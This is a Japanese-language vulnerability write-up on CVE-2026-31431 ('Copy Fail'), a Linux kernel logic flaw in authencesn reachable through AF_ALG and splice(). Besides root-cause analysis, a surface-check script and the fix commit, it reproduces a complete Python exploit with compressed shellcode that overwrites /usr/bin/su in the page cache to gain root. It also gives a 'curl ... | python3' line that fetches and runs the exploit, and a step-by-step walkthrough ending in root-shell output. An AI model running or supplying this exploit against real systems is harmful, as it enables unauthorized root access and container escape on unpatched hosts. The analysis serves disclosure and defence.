
authencesn の論理的な欠陥が AF_ALG と splice() を介して連鎖し、システム上の任意の読み取り可能なファイルのページキャッシュへの制御された 4 バイト書き込みに到達します。レースコンディションもオフセットも、コンパイル済みペイロードも必要ありません。同じ 732 バイトのスクリプトで、2017 年以降のすべての Linux ディストリビューションで root を取得できます。
CVE-2026-31431 - Copy Fail は、Linux カーネルの authencesn 暗号テンプレートにおける論理的な欠陥です。これにより、特権のないローカルユーザーが、ディスク上のファイルを変更することなく、システム上の任意の読み取り可能なファイルのページキャッシュに対して制御された 4 バイト書き込みを実行できます。
このバグは、3つのコンポーネントのいずれにも単体では存在しません。それらの相互作用から発生します。``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 根本原因分析***
<div id='primitive'/>
### ***AF_ALG + splice() プリミティブ***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) は、カーネルの暗号APIを非特権ユーザー空間に公開するソケットタイプです。非特権プロセスは以下の操作が可能です:
1. AF_ALG / SOCK_SEQPACKET ソケットを開く。
2. カーネル暗号APIが公開する任意の利用可能な AEAD テンプレートに bind() する。
3. 設定したアルゴリズムに対して setsockopt(SOL_ALG, ALG_SET_KEY, ...) で暗号鍵を設定する。
4. accept() を呼び出して、暗号化・復号リクエストを処理する専用の操作ソケットを取得する。
5. sendmsg() で細工したデータを送信し、recvmsg() で処理結果を受け取ることで、カーネルの暗号サブシステムと完全にやり取りする。
これは、主要な全ディストリビューションのカーネル設定でデフォルトで有効化されています (CONFIG_CRYPTO_USER_API_AEAD=y)。
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** は、コピーを行わずにファイルディスクリプタ間でデータを転送します。ページへの参照を渡すのであって、コピーを渡すわけではありません。関連するフローは以下の通りです:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
AF_ALG ソケットの TX scatterlist は、ファイルのあらゆる read()、mmap()、execve() の際にカーネルが使用するのと同じ物理ページへの直接参照を含みます。コピーは一切行われません。
コミット 72548b093ee3、algif_aead.c。復号の場合、実装は次のとおりです。
In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***authencesn における領域外書き込み***
authencesn は、拡張シーケンス番号(RFC 4303)を伴う IPsec で使用されるカーネル AEAD ラッパーです。IPsec は 64 ビットのシーケンス番号を使用します:
- seqno_hi - 上位 32 ビット(AAD のバイト 0〜3)
- seqno_lo - 下位 32 ビット(AAD のバイト 4〜7)
ワイヤ上で送信されるのは seqno_lo のみであり、seqno_hi は暗黙的なコンテキストです。HMAC 計算では、authencesn はこれらのバイトを並べ替える必要があります:ハッシュ入力の先頭に seqno_hi、末尾に seqno_lo を配置します。
この並べ替えは、呼び出し元の宛先 scatterlist をスクラッチ領域として使用して実行されます:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
Call [3] は、dst[assoclen + cryptlen] に 4 バイトを書き込みます。AEAD API の復号における出力契約は、AAD || plaintext、つまり正確に assoclen + (cryptlen - authsize) バイトです。assoclen + cryptlen は認証タグの後方に位置します。authencesn は、自分が所有しないメモリに書き込みを行います。
crypto_authenc_esn_decrypt_tail() は seqno_lo を読み戻して正しい AAD を再構築しますが、dst[assoclen + cryptlen] の元のバイトを復元することはありません。HMAC チェックが成功するか失敗するかに関係なく、この上書きは永続的です。
カーネル内の他の標準 AEAD アルゴリズムは、このような動作をしません。GCM、CCM、標準 authenc は、正当な出力領域にのみ書き込みを厳密に限定しています。
algif_aead の2017年以降のインプレースパスでは、authencesn に req->dst として渡される scatterlist は次の構造になります。``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)
scatterwalk_map_and_copy はページの所有権という概念を持たず、scatterlist が指すページを kmap_local_page でマップして書き込むだけです。req->dst にページキャッシュページが存在する場合、"/usr/bin/su" のキャッシュ済みページをマップし、seqno_lo をファイルのカーネルメモリ内コピーに直接書き込むことになります。
HMAC は並べ替えられたバイトに対して計算され、失敗します(暗号文は攻撃者制御です)。recvmsg() はエラーを返します。ページキャッシュへの4バイト書き込みは永続化されます。
---
<div id='scatterlist'/>
### ***scatterlistをページキャッシュページへ走査する***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
ページはダーティとしてマークされることはありません(このパスでは SetPageDirty / mark_page_accessed は呼び出されません)。カーネルのライトバック機構はそれをディスクにフラッシュしません。ディスク上のファイルは変更されないままです。
ページキャッシュへの制御された4バイト書き込みプリミティブは、完全なローカル権限昇格(LPE)に変わります:
書き込みを一度に4バイトずつ繰り返すことで、攻撃者はページキャッシュ内の setuid バイナリの .text セクションにシェルコードをパッチできます。execve() はページキャッシュからロードするため、破損したバイナリは UID 0 で実行されます。
ページキャッシュはすべてのコンテナを含むホスト全体で共有されます。Copy Fail は単なるローカル LPE ではなく、コンテナ脱出プリミティブであり、Kubernetes ノード侵害ベクトルです。
| 環境 | リスク | 結果 |
|---|---|---|
| マルチテナント Linux ホスト | 重大 | 任意のユーザー → root |
| Kubernetes / コンテナ | 重大 | Pod → ホスト、クロステナント |
| CI ランナー(信頼できない PR) | 重大 | PR → ランナー上で root |
| ユーザーコードを実行するクラウド SaaS | 重大 | テナント → ホスト root |
| シングルテナントサーバー | 高 | 内部 LPE; Web RCE と連鎖 |
| シングルユーザーワークステーション | 中 | 侵害後の権限昇格 |
2017年からパッチ適用までの間にビルドされたカーネルを実行し、デフォルト構成で AF_ALG が有効になっている任意の Linux システム。これには事実上すべての主流ディストリビューションが含まれます。
Theori / Xint によって直接検証済み:
| ディストリビューション | カーネル |
|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
影響を受けるカーネルを実行する他のディストリビューション(Debian、Arch、Fedora、Rocky、Alma、Oracle、組込みターゲット)も同様に動作します。バグは共有の crypto サブシステムに存在し、ディストリビューション固有のパッチには存在しません。
悪用要件:
uname -r
カーネルが2017年からパッチ(コミット a664bf3d603d)までの間にビルドされた場合、システムは影響を受ける可能性があります。パッチが存在するか確認してください:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. algif_aead がロードされているか確認する***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
次のスクリプトは、脆弱なパスに到達可能かどうかを確認します。書き込みは一切行わず、攻撃対象領域の利用可能性のみを検証します:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 エクスプロイト***
このエクスプロイトは、2026年4月29日の公開開示とともに、Theori / Xint Codeによって最初にリリースされました。
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **公式リポジトリ:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **要件:** Python 3.10+、影響を受けるカーネル、AF_ALG有効。```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 エクスプロイトのウォークスルー***
<div id='step1'/>
### ***ステップ 1 - ソケットのセットアップ***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
The authencesn テンプレートが選択される - これは、正当な出力領域の外に書き込むカーネル内で唯一の AEAD アルゴリズムである。この選択は意図的である: GCM、CCM、および標準の authenc はこのバグを引き起こさない。```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 は認証タグサイズを設定します。この値は、dst[assoclen + cryptlen] がscatterlist内のタグ領域に対してどこに位置するかを直接制御し、したがってページキャッシュページ内のどのオフセットが上書きされるかを決定します。
<div id='step2'/>
### ***ステップ 2 - Write を構築する***
ペイロードの4バイトチャンクごとに:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
AAD のバイト 4〜7(seqno_lo)は、authencesn が dst[assoclen + cryptlen] に書き込む 4 バイトと正確に一致します。攻撃者は、これらを目的のペイロード値で細工します。
ファイルオフセットは splice パラメータを介して制御されます:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***ステップ3 - ページキャッシュ書き込みをトリガーする***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
recv() 呼び出しは、カーネル内の復号操作をトリガーします。recvmsg() エラーは想定どおりで、無関係です。ページキャッシュへの書き込みは既に発生しています。
すべてのペイロードチャンクを反復処理した後:``` os.system("su")
execve("/usr/bin/su"):
1. カーネルはページキャッシュからバイナリを読み込みます。
2. キャッシュされたページには注入されたシェルコードが含まれています(ディスク上のファイルは変更されていません)。
3. /usr/bin/su は setuid-rootです: プロセスは実効UID 0で開始します。
4. シェルコードが rootシェル を起動します。```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
これら3つはすべて同じ攻撃クラスに属します: 特権のないユーザー空間からページキャッシュに書き込み、ディスク上のファイルを変更せずに、setuidバイナリを介して権限を昇格する。そのメカニズムと制約は大きく異なります。
VMサブシステムのコピーオンライト (COW) パスにおける競合状態。TOCTOUウィンドウを勝ち取る必要があり、複数回の試行、信頼性の変動、時折のクラッシュが発生しました。カーネル 2.6.22 から 4.8.3。
パイプバッファ内のPIPE_BUF_FLAG_CAN_MERGEフラグを悪用して、攻撃者が制御するデータをページキャッシュにマージします。決定的ですが、バージョン固有です (特定のパッチが適用されたカーネル ≥ 5.8)。
直線的なロジックの欠陥。競合状態も、ディストリビューションごとのオフセットも、コンパイル済みペイロードもありません。標準ライブラリのみを使用する732バイトのPythonスクリプトが、2017年から2026年までのすべての主要ディストリビューションでroot権限を取得します。
| Dirty Cow | Dirty Pipe | Copy Fail | |
|---|---|---|---|
| メカニズム | 競合状態 (COW) | パイプフラグの悪用 | AEADロジック + scatterlist |
| 競合状態の要否 | はい | いいえ | いいえ |
| 信頼性 | 30-80% | 高い | 100%、単発 |
| カーネル範囲 | 2.6.22-4.8.3 | ≥5.8 (特定) | 2017-2026 (約9年) |
| ディストリビューション別オフセット | はい | 一部 | いいえ |
| コンパイル済みペイロード | はい | いいえ | いいえ |
| コンテナエスケープ | いいえ | いいえ | はい |
メインラインコミット a664bf3d603d は修正します 72548b093ee3 (2017年のインプレース最適化)
このパッチはalgif_aead.cをout-of-place操作に戻します。req->srcとreq->dstは再び別々のscatterlistになります。splice()を介して配信されるページキャッシュページは、読み取り専用のTX SGL (req->src) に残ります。RXバッファ - 暗号アルゴリズムが書き込むことを許可されている唯一のメモリ - はユーザーのrecvmsgバッファ (req->dst) です。以前はタグページ (ページキャッシュ) を書き込み可能な宛先にチェーンしていたsg_chain()メカニズムは削除されます。```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
コミットメッセージには次のように記されている: "algif_aead では、ソースとデスティネーションが異なるマッピングから来るため、インプレースで操作しても利点はない。"
---
---
---
<div id='timeline'/>
## ***📅 開示タイムライン***
| 日付 | イベント |
|------------|----------------------------------------------------------|
| 2026-03-23 | Linuxカーネルセキュリティチームに脆弱性が報告された |
| 2026-03-24 | 最初の受領確認を受け取った |
| 2026-03-25 | パッチが提案され、レビューされた |
| 2026-04-01 | パッチがメインラインにコミットされた (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 が割り当てられた |
| 2026-04-29 | 公開開示、[copy.fail](https://copy.fail/) |
**発見者:** Taeyang Lee([Theori](https://theori.io/) / [Xint Code](https://xint.io/))
---
---
---
<div id='references'/>
## ***📚 参考***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> National Vulnerability Database(NVD)のエントリ。
- **[Copy Fail - 公式開示](https://copy.fail/)**
> FAQ、影響を受けるディストリビューション、緩和策、および PoC を掲載したランディングページ。
- **[Theori / Xint Blog - 詳細解説](https://xint.io/blog/copy-fail-linux-distributions)**
> 根本原因、scatterlist の図、歴史的な連鎖(2011→2015→2017)、およびエクスプロイトのウォークスルー。
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> PoC を含む公式リポジトリ。
- **[Commit a664bf3d603d - 修正](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> algif_aead のインプレース最適化をリバートする。
- **[Commit 72548b093ee3 - 根本原因 (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> ページキャッシュのページを書き込み可能なデスティネーションに配置したインプレース最適化を導入。
- **[Commit a5079d084f8b - authencesn 導入 (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> authencesn を追加した最初のコミットで、スクラッチ書き込みパターンを確立した。
- **[Commit 104880a6b470 - authencesn の AEAD API への移行 (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> 正規の領域外に書き込む assoclen + cryptlen オフセットを導入した。
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> ページキャッシュ破壊 / LPE クラスにおける先行技術。